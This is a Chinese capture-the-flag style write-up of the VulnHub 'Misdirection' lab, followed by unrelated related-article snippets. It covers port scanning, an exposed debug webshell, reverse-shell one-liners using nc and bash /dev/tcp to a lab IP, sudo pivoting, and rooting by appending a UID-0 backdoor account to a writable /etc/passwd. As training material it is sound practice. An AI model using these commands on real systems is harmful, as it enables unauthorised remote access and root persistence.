红队打靶:Misdirection打靶思路详解(vulnhub)

目录

写在开头

第一步:主机发现与端口扫描 

第二步:Web渗透(80端口,战术放弃)

第三步:Web渗透(8080端口)

第四步:sudo bash提权 

第五步:/etc/passwd利用提权

总结与思考

写在开头

   本篇博客在自己的理解之上根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。Misdirection靶机也很简单,对于我们的启发就是渗透优先级的选择,当遇到攻击面暴露较多的路径时,可以先放一放,避免走进死胡同死磕不得解,应当优先渗透相对容易的方向或容易尝试的方向。本文涉及到的知识点包括:信息收集的技巧、常见反弹shell语句、sudo bash提权、viminfo敏感信息、/etc/passwd可写提权等,完整的打靶思路详见:

「红队笔记」靶机精讲:Misdirection - 渗透目标选择的优先级很重要,死磕一处和快速跳跃的权衡和智慧。_哔哩哔哩_bilibili

  本文针对的靶机源于vulnhub,详情见: 

Misdirection: 1 ~ VulnHub

 下载链接见:

https://download.vulnhub.com/misdirection/Misdirection.zip

  这个靶机好像用VMware和Virtual Box都可以,我就用VMware了,将靶机的网络设置为NAT模式,靶机打开如下图所示: 

第一步:主机发现与端口扫描 

  常规思路,这里不细讲了。我kali的ip是10.10.10.128,主机发现靶机的ip是10.10.10.155,扫描出开放的TCP端口仅有22,80,3306和8080,具体命令如下:

nmap -sn 10.10.10.0/24    //主机发现
nmap -sT --min-rate 10000 10.10.10.155      //TCP全端口扫描
nmap -sT -sC -sV -O -p22,80,3306,8080 10.10.10.155      //用默认脚本扫描服务信息、操作系统版本
nmap --script=vuln -p22,80,3306,8080 10.10.10.155  //漏洞脚本扫描
nmap -sU --top-ports 20 10.10.10.155    //探测UDP最常见的20个端口的开放情况

   信息挺多的,核心还是web端,可能80端口和8080端口都能作为攻击的入口点,同时3306是MySQL,也有可能存储一些关键信息。

第二步:Web渗透(80端口,战术放弃)

  常规思路还是先看web端,浏览器访问靶机ip,界面如下:

 感觉像是个挺正规的产品介绍网站,主要产品貌似是“免费可信赖的在线投票系统”。感觉像是有CMS,页面最下方有个banner说明这个网站使用web2py部署的:

 点击链接可以查看web2py,很遗憾,这不是什么CMS,好像是个开发框架,不太了解,那我们回头再研究相关漏洞:

 再回到初始页面,还是感觉页面的东西还是非常多,还有很多注册页面,甚至还有一个Source Code可以查看E-vote的源代码,在github上:

另外回头看一眼刚刚nmap漏洞扫描的结果,可以发现一些敏感的路径。比如/admin之类的

 尝试访问漏洞脚本扫描中的几个目录枚举路径,很遗憾,都没啥收获:

 另外漏洞脚本也暴露潜在的sql注入信息,感觉这个web的80端口入口点太多了,我有点不知所措了。另外目录爆破还没做呢。

  世上无难事,只要肯放弃。于是我们先摆烂,跳过对80端口的渗透,因为突破口不太明显,可以尝试的地方比较多,容易在一个地方死磕浪费时间,不如先战略性放弃,如果8080端口没有突破口再回来看。

第三步:Web渗透(8080端口)

   于是乎我们战略性跳过80端口,先看看8080端口有没有明显的突破口,访问浏览器,靶机ip:8080,就是个常规的apache页面:

   回看nmap漏洞扫描脚本中关于8080端口的信息:发现有许多潜在的敏感目录:

依次尝试访问,最后在debug目录发现了神奇的景象:

 直接把shell暴露在web页面了,这也太关键了。尝试输入whoami可以看到这是www-data的目录, 怪不得这个靶机的名称叫Misdirection,关键点在这儿呢!前面80端口复杂的web页面的估计都是误导哈哈哈。那么我们尝试反弹shell,把这个webshell迁移到我们的kali中,首先在kali中nc监听4444端口:

   然后在webshell中输入以下两个命令中的任意一个均可实现反弹shell(别忘了修改ip为你的kali):

//以下两行任意一行都可以
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.128 4444 >/tmp/f
bash -c "bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"

第四步:sudo bash提权 

  接下来就是提权了,通常来说www-data的权限是很小的。我们尝试sudo -l

 看来是一波送分了。竟然可以免密运行bash,切换到brexit用户中,那么我们尝试提权:

sudo -u brexit /bin/bash

提权成功了!不过这个shell的交互性不是很好,我们尝试用python提高交互性:

python -c "import pty;pty.spawn('/bin/bash')"

  查看user flag,就在brexit的家目录下:

第五步:/etc/passwd利用提权

经过一番搜索无果(sudo -l ,自动任务等)之后,在家目录中发现了一个隐藏的敏感文件,即.viminfo,这个文件应该是vim的历史信息。

 查看.viminfo可以发现brexit这个用户曾经用vim编辑过/etc/passwd:

 莫非当前brexit用户拥有对/etc/passwd的写权限?查看/etc/passwd的权限:

  还真是有写权限,恰好属组就是brexit,那么问题就简单了,我们可以直接在/etc/passwd中追加一个账号作为root账号即可。也可以直接修改root的密码,此处我们就追加一条信息,账号是myroot,密码设置为123456,用openssl生成对应的hash如下:

openssl passwd -1 123456

  然后我们仿照/etc/passwd的格式生成一个账号backdoor和密码123456:

backdoor:$1$oFd2MoKR$eVjr6Fe7JWwjAPEfaTQSy.:0:0:root:/root:/bin/bash 

  接着把这条记录添加到/etc/passwd中,可以直接vim编辑,也可以用echo追加(特别注意,echo内容的引号必须是单引号,不能是双引号):

echo 'backdoor:$1$oFd2MoKR$eVjr6Fe7JWwjAPEfaTQSy.:0:0:root:/root:/bin/bash' >> /etc/passwd

添加完成后用su切换为backdoor用户,输入密码123456即可提权:

 提权成功,flag位于/root目录下:

至此打靶完成。

总结与思考

  这个靶机如果死磕80端口的话可能很难成功,但是题目名字Misdirection本身就给了我们提示。何谓”误导“?看似复杂,不知道从何下手的80端口就是误导。这个靶机的关键点就是发现8080端口下的/debug目录直接暴露了webshell。本次打靶的启发就是渗透优先级的选择:优先渗透攻击面明显、相对容易操作、步骤简单的攻击面,把复杂,不知从何入手的端口的渗透优先级降低。最后总结一下打靶过程:

第一步:主机发现和端口扫描。常规思路,发现四个常规端口22,80,3306,8080。重点关注漏洞扫描脚本中的目录枚举。

第二步:80端口渗透。看着就头大,信息非常多,战略性暂时放弃。

第三步:8080端口渗透。发现关键目录/debug存在webshell,直接暴露了www-data的shell,构造反弹shell将此webshell转移至本地kali交互。

第四步:sudo提权,发现可以sudo bash转换到brexit用户,初步提权到了brexit的权限。

第五步:可写/etc/passwd提权,在brexit家目录发现敏感文件.viminfo,暴露了对passwd的编辑历史,说明passwd对于用户brexit可写,于是追加高权限的用户信息到passwd,再su即可提权。

    这个靶机到这里就结束了。说实话,这个靶机的总结我拖了好几天才写完,主要还是感觉动力不足,没有太多的额外知识点,关键在于不能死磕80端口。总结一篇博客真的挺耗时的,恳请各位读者多多点赞关注支持啦。学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!

   

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/116240.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一文搞懂UART通信协议

目录 1、UART简介 2、UART特性 3、UART协议帧 3.1、起始位 3.2、数据位 3.3、奇偶校验位 3.4、停止位 4、UART通信步骤 1、UART简介 UART(Universal Asynchronous Receiver/Transmitter,通用异步收发器)是一种双向、串行、异步的通信…

【c++Leetcode】141. Linked List Cycle

问题入口 思想:Floyds Tortoise and Hare 这个算法简单来说就是设置一个慢指针(一次移动一个位置)和一个快指针(一次移动两个位置)。在遍历过程中,如果慢指针和快指针都指向同一个元素,证明环…

spacy.load(“en_core_web_trf“)报错TypeError: issubclass() arg 1 must be a class

使用spacy时遇到的问题 写在最前面: 安装spacy和en_core_web_trf时需要保证二者版本一致 安装及查看对应spacy版本 安装 pip install spacy查看版本 import spacy spacy.__version__安装en_core_web_trf 直接安装(如果可以的话) pytho…

Flutter视图原理之StatefulWidget,InheritedWidget

目录 StatefulElement1. 构造函数2. build3. _firstBuild3. didChangeDependencies4. setState InheritedElement1. Element类2. _updateInheritance3. InheritedWidget数据向下传递3.1 dependOnInheritedWidgetOfExactType 4. InheritedWidget的状态绑定4.1. ProxyElement 在f…

SettingsProvider

Android Settings 系列文章: Android Settings解析SettingsIntelligenceSettingsProvider 首语 为啥要聊到这个模块呢?因为Settings里存在大量的设置项,这些设置项的状态需要保存,它们就是通过SettingsProvider来处理的。以状态…

.net6部署到linux上(CentOS Linux 7)

目录 一、先在linux上配置.net环境 添加 Microsoft 包存储库 安装 SDK 安装运行时 检查 SDK 版本可使用终端查看当前安装的 .NET SDK 版本。 打开终端并运行以下命令。 二、创建.net6 mvc项目 并发布 创建项目 修改默认端口 打包发布到文件夹 运行打包项目查看项目是否…

macOS telnet替代方式

前言 经过使用Linux,常常用Linux的telnet查看端口畅通,是否有防火墙,但是在mac上已经没有这个命令了,那么怎么使用这个命令或者有没有其他替代呢,win和linux是否可以使用相同的替代。macOS可以原生用nc命令替代&#…

C算法:使用选择排序实现从(大到小/从小到大)排序数组,且元素交换不可使用第三变量。

需求&#xff1a; 使用选择排序实现从(大到小/从小到大)排序&#xff0c;且元素交换不可使用第三变量 (异或交换法) 代码实现&#xff1a; #include <stdio.h> void maopao(int* array,int len,int(*swap)(int a,int b)) {int i,j;for(i0;i<len-1;i){for(ji1;j<…

【数据结构与算法】two X 树的遍历以及功能实现

前言&#xff1a; 前面我们已经提到过树、二叉树的概念及结构、堆排序、Top-k问题等的知识点&#xff0c;这篇文章我们来详解一下二叉树的链式结构等问题。 &#x1f4a5;&#x1f388;个人主页:​​​​​​Dream_Chaser&#xff5e; &#x1f388;&#x1f4a5; ✨✨专栏:htt…

安全渗透测试网络基础知识之路由技术

#1.静态路由技术 ##1.1路由技术种类: 静态路由技术、动态路由技术 ##1.2静态路由原理 静态路由是网络中一种手动配置的路由方式,用于指定数据包在网络中的传输路径。与动态路由协议不同,静态路由需要管理员手动配置路由表,指定目的网络和下一跳路由器的关联关系。 比较适合…

【智能家居】

面向Apple developer学习&#xff1a;AirPlay | Apple Developer Documentation Airplay AirPlay允许人们将媒体内容从iOS、ipad、macOS和tvOS设备无线传输到支持AirPlay的Apple TV、HomePod以及电视和扬声器上。 网页链接的最佳实践 首选系统提供的媒体播放器。内置的媒体播…

SpringCloud和Kubernetes的区别

又见小道仙&#xff1a; https://blog.csdn.net/Tomwildboar/article/details/129531315 对于SpringCloud在实际项目中并未使用过&#xff0c;只是自学过SpringCloud和SpringCloud Alibaba&#xff0c;也基于学习搭建过demo。 对于Kubernetes&#xff0c;目前这家公司就是使用…

Web APIs——事件监听以及案例

1、事件监听 什么是事件&#xff1f; 事件是在编程时系统内发生的动作或者发生的事情 比如用户在网页上单击一个按钮 什么是事件监听&#xff1f; 就是让程序检测是否有事件产生&#xff0c;一旦有事件触发&#xff0c;就立即调用一个函数做出响应&#xff0c;也称为绑定事…

【RocketMQ集群】Linux搭建RocketMQ双主双从集群

在当今大数据时代&#xff0c;消息队列系统成为了构建高可用、可扩展和可靠的分布式应用的重要组件之一。而Apache RocketMQ作为一款开源的分布式消息中间件&#xff0c;以其高吞吐量、低延迟和可靠性而备受青睐。为了满足大规模应用的需求&#xff0c;搭建RocketMQ集群是一种常…

K8S集群中Node节点资源不足导致Pod无法运行的故障排查思路

K8S集群中Node节点资源不足导致Pod无法运行的故障排查思路 Node节点资源不足可能会产生的故障 故障一&#xff1a;Pod数量太多超出物理节点的限制每一台Node节点中默认限制最多运行110个Pod资源&#xff0c;当一个应用程序有成百上千的Pod资源时&#xff0c;如果不扩容Node节…

基于springboot实现基于Java的超市进销存系统项目【项目源码+论文说明】计算机毕业设计

基于springboot实现基于Java的超市进销存系统演示 摘要 随着信息化时代的到来&#xff0c;管理系统都趋向于智能化、系统化&#xff0c;超市进销存系统也不例外&#xff0c;但目前国内仍都使用人工管理&#xff0c;市场规模越来越大&#xff0c;同时信息量也越来越庞大&#x…

Ubuntu 20.04 安装 Docker

大家好&#xff0c;我叫徐锦桐&#xff0c;个人博客地址为www.xujintong.com。平时记录一下学习计算机过程中获取的知识&#xff0c;还有日常折腾的经验&#xff0c;欢迎大家来访。 介绍 Docker容器具有以下三大特点&#xff1a; 轻量化&#xff1a;一台主机上运行的多个Dock…

Weights and Biases使用教程

Weights and Biases使用教程 安装和初始化实验跟踪跟踪指标跟踪超参数可视化模型检查日志 数据和模型版本控制使用Sweeps进行超参数调优数据可视化report Weights and Biases已经成为AI社区中最受欢迎的库之一。该团队在创建了一个平台&#xff0c;使机器深度学习学习工程师能够…

云安全—docker原理

0x00 前言 因为要学习docker相关的检测技术&#xff0c;所以需要对docker的原理进行基本的原因&#xff0c;不求彻底弄懂&#xff0c;但求懂点皮毛&#xff0c;如有不妥之处&#xff0c;还请斧正。 0x01 docker概述 docker起源 docker公司是在旧金山&#xff0c;由法裔美籍…

Java操作Elasticsearch(新增数据)

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…